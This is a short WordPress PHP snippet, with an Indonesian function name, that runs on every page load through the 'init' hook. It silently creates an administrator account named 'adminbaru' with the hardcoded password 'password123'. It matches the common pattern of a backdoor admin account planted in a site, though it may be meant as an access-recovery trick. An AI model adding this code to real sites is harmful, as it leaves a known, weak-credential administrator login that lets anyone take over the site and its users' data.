function buat_admin_baru() {
    $username = 'adminbaru';
    $password = 'password123';
    $email = 'email@domain.com';

    if (!username_exists($username) && !email_exists($email)) {
        $user_id = wp_create_user($username, $password, $email);
        $user = new WP_User($user_id);
        $user->set_role('administrator');
    }
}
add_action('init', 'buat_admin_baru');